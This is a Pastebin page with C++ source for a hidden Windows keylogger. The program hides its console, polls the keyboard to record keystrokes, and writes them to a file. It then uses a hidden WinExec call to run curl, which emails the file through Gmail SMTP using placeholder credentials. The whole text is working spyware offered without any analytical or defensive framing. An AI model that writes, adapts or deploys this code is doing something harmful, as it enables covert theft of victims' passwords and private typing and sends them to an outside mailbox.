Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <windows.h>// for the freeconsole() and getasynckeystate
- #include <sstream>
- #include <string>
- #include <fstream>
- using namespace std;
- char possiblekeys[] = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM _";//Possible keys list
- string pressedkeys;//A string containing all the pressed keys
- void checkkey(char key);//The checkkey prototype, getting a key parameter
- void checkspace(char key);//The checkspace prototype, getting a key parameter
- void senddata();
- int main()
- {
- int counter = 0;
- FreeConsole();//Hide the console
- while (counter < 999)
- {
- for (int i = 0; i < 65; i++)
- {
- checkkey(possiblekeys[i]);
- checkspace(possiblekeys[i]);
- }
- Sleep(100);
- counter++;
- if (counter >= 998)
- {
- counter = 0;
- senddata();
- }
- }
- return 0;
- }
- inline void checkkey(char key)//inlinne function to check the key given as a parameter
- {
- if (GetAsyncKeyState(key))//here is the check key part
- {
- stringstream ss;//Converting the char to string here
- string target;
- ss << key;
- ss >> target;
- pressedkeys = pressedkeys + target;// add the pressed key to the pressedkeys string
- }
- }
- inline void checkspace(char key)//Special function to check if space button is pressed
- {
- if (GetAsyncKeyState(key))
- {
- if (key == ' ')//If the key is space then append a space to the string
- pressedkeys = pressedkeys + " ";
- }
- }
- void senddata()
- {
- std::fstream file;
- file.open("00", std::fstream::out);
- file << pressedkeys;
- file.close();
- char* command = "curl smtp://smtp.gmail.com:587 -v --mail-from \"SENDEREMAIL\" --mail-rcpt \"RECIEVERMAIL\" --ssl -u SENDERMAIL:PASSWORD -T \"00\" -k --anyauth";
- WinExec(command, SW_HIDE);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement